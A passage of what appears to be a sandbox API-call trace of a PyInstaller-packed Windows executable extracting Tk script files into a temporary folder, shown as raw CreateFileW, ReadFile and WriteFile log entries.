cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\spinbox.tcl") returned 60 [0044.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\spinbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\spinbox.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.808] GetLastError () returned 0x2 [0044.808] SetLastError (dwErrCode=0x2) [0044.808] GetLastError () returned 0x2 [0044.808] SetLastError (dwErrCode=0x2) [0044.808] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\spinbox.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\spinbox.tcl", lpFilePart=0x0) returned 0x3b [0044.808] GetLastError () returned 0x2 [0044.808] SetLastError (dwErrCode=0x2) [0044.808] GetLastError () returned 0x2 [0044.808] SetLastError (dwErrCode=0x2) [0044.808] GetLastError () returned 0x2 [0044.808] SetLastError (dwErrCode=0x2) [0044.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\spinbox.tcl") returned 60 [0044.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\spinbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\spinbox.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.809] GetFileType (hFile=0x10c) returned 0x1 [0044.809] htonl (hostlong=0xef3a0000) returned 0x3aef [0044.809] WriteFile (in: hFile=0x10c, lpBuffer=0x563058*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563058*, lpNumberOfBytesWritten=0x4fcd00*=0x3000, lpOverlapped=0x0) returned 1 [0044.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.810] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xaef, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xaef, lpOverlapped=0x0) returned 1 [0044.810] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.810] CloseHandle (hObject=0x10c) returned 1 [0044.810] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563058 | out: hHeap=0x530000) returned 1 [0044.811] htonl (hostlong=0x30000000) returned 0x30 [0044.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.811] GetFileType (hFile=0x10c) returned 0x1 [0044.811] htonl (hostlong=0xd89f5f00) returned 0x5f9fd8 [0044.811] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x644fd8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.811] htonl (hostlong=0x90080000) returned 0x890 [0044.811] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x890) returned 0x55e278 [0044.811] htonl (hostlong=0x90080000) returned 0x890 [0044.811] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.812] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.812] htonl (hostlong=0x15570000) returned 0x5715 [0044.812] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5715) returned 0x562098 [0044.812] htonl (hostlong=0x90080000) returned 0x890 [0044.812] htonl (hostlong=0x15570000) returned 0x5715 [0044.812] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5677b8 [0044.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5677b8 | out: hHeap=0x530000) returned 1 [0044.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.813] CloseHandle (hObject=0x10c) returned 1 [0044.813] GetLastError () returned 0x0 [0044.813] SetLastError (dwErrCode=0x0) [0044.813] GetLastError () returned 0x0 [0044.813] SetLastError (dwErrCode=0x0) [0044.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.813] GetFileType (hFile=0x10c) returned 0x1 [0044.813] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.813] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.813] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.814] CloseHandle (hObject=0x10c) returned 1 [0044.814] GetLastError () returned 0x0 [0044.814] SetLastError (dwErrCode=0x0) [0044.814] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tclIndex") returned 57 [0044.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tclIndex" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\tclindex"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.814] GetLastError () returned 0x2 [0044.814] SetLastError (dwErrCode=0x2) [0044.814] GetLastError () returned 0x2 [0044.814] SetLastError (dwErrCode=0x2) [0044.814] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tclIndex", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tclIndex", lpFilePart=0x0) returned 0x38 [0044.814] GetLastError () returned 0x2 [0044.814] SetLastError (dwErrCode=0x2) [0044.814] GetLastError () returned 0x2 [0044.814] SetLastError (dwErrCode=0x2) [0044.814] GetLastError () returned 0x2 [0044.814] SetLastError (dwErrCode=0x2) [0044.814] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tclIndex") returned 57 [0044.814] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tclIndex" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\tclindex"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.814] GetFileType (hFile=0x10c) returned 0x1 [0044.814] htonl (hostlong=0x15570000) returned 0x5715 [0044.814] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x5000, lpOverlapped=0x0) returned 1 [0044.815] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.815] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x715, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x715, lpOverlapped=0x0) returned 1 [0044.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.816] CloseHandle (hObject=0x10c) returned 1 [0044.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.817] htonl (hostlong=0x20000000) returned 0x20 [0044.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.817] GetFileType (hFile=0x10c) returned 0x1 [0044.817] htonl (hostlong=0x68a85f00) returned 0x5fa868 [0044.817] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x645868, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.817] htonl (hostlong=0xaf070000) returned 0x7af [0044.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7af) returned 0x55e278 [0044.817] htonl (hostlong=0xaf070000) returned 0x7af [0044.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.818] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.818] htonl (hostlong=0x17140000) returned 0x1417 [0044.818] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1417) returned 0x562098 [0044.818] htonl (hostlong=0xaf070000) returned 0x7af [0044.818] htonl (hostlong=0x17140000) returned 0x1417 [0044.818] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5634b8 [0044.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5634b8 | out: hHeap=0x530000) returned 1 [0044.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.818] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.818] CloseHandle (hObject=0x10c) returned 1 [0044.818] GetLastError () returned 0x0 [0044.818] SetLastError (dwErrCode=0x0) [0044.818] GetLastError () returned 0x0 [0044.818] SetLastError (dwErrCode=0x0) [0044.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.818] GetFileType (hFile=0x10c) returned 0x1 [0044.818] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.819] CloseHandle (hObject=0x10c) returned 1 [0044.819] GetLastError () returned 0x0 [0044.819] SetLastError (dwErrCode=0x0) [0044.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tearoff.tcl") returned 60 [0044.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tearoff.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\tearoff.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.819] GetLastError () returned 0x2 [0044.819] SetLastError (dwErrCode=0x2) [0044.819] GetLastError () returned 0x2 [0044.819] SetLastError (dwErrCode=0x2) [0044.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tearoff.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tearoff.tcl", lpFilePart=0x0) returned 0x3b [0044.819] GetLastError () returned 0x2 [0044.819] SetLastError (dwErrCode=0x2) [0044.819] GetLastError () returned 0x2 [0044.819] SetLastError (dwErrCode=0x2) [0044.819] GetLastError () returned 0x2 [0044.819] SetLastError (dwErrCode=0x2) [0044.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tearoff.tcl") returned 60 [0044.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tearoff.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\tearoff.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.820] GetFileType (hFile=0x10c) returned 0x1 [0044.820] htonl (hostlong=0x17140000) returned 0x1417 [0044.820] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.821] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.821] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x417, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x417, lpOverlapped=0x0) returned 1 [0044.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.821] CloseHandle (hObject=0x10c) returned 1 [0044.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.821] htonl (hostlong=0x30000000) returned 0x30 [0044.821] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.821] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.821] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.821] GetFileType (hFile=0x10c) returned 0x1 [0044.822] htonl (hostlong=0x17b05f00) returned 0x5fb017 [0044.822] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x646017, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.822] htonl (hostlong=0x211f0000) returned 0x1f21 [0044.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1f21) returned 0x561090 [0044.822] htonl (hostlong=0x211f0000) returned 0x1f21 [0044.822] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0044.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x562fc0 [0044.822] ReadFile (in: hFile=0x10c, lpBuffer=0x562fc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x562fc0*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.822] htonl (hostlong=0xe47e0000) returned 0x7ee4 [0044.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7ee4) returned 0x563fc8 [0044.822] htonl (hostlong=0x211f0000) returned 0x1f21 [0044.822] htonl (hostlong=0xe47e0000) returned 0x7ee4 [0044.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56beb8 [0044.823] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56beb8 | out: hHeap=0x530000) returned 1 [0044.823] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.823] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562fc0 | out: hHeap=0x530000) returned 1 [0044.823] CloseHandle (hObject=0x10c) returned 1 [0044.823] GetLastError () returned 0x0 [0044.823] SetLastError (dwErrCode=0x0) [0044.823] GetLastError () returned 0x0 [0044.823] SetLastError (dwErrCode=0x0) [0044.823] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.823] GetFileType (hFile=0x10c) returned 0x1 [0044.823] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.824] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.824] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.824] CloseHandle (hObject=0x10c) returned 1 [0044.824] GetLastError () returned 0x0 [0044.824] SetLastError (dwErrCode=0x0) [0044.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\text.tcl") returned 57 [0044.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\text.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\text.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.824] GetLastError () returned 0x2 [0044.824] SetLastError (dwErrCode=0x2) [0044.824] GetLastError () returned 0x2 [0044.824] SetLastError (dwErrCode=0x2) [0044.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\text.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\text.tcl", lpFilePart=0x0) returned 0x38 [0044.824] GetLastError () returned 0x2 [0044.824] SetLastError (dwErrCode=0x2) [0044.824] GetLastError () returned 0x2 [0044.824] SetLastError (dwErrCode=0x2) [0044.824] GetLastError () returned 0x2 [0044.824] SetLastError (dwErrCode=0x2) [0044.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\text.tcl") returned 57 [0044.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\text.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\text.tcl"), 